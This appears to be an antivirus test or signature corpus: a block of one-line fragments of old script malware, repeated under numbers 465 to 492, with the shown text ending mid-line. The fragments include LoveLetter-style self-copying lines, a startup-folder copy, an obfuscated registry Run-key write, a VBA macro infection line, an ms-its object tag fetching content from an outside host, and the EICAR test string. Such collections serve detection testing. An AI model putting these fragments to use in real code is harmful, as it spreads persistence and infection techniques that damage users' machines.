 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

465

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

466

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

467

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

468

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

469

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

470

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

471

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

472

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

473

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

474

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

475

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

476

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

477

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

478

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

479

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

480

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

481

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

482

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

483

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

484

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

485

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

486

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

487

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

488

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

489

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

490

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

491

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

492

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
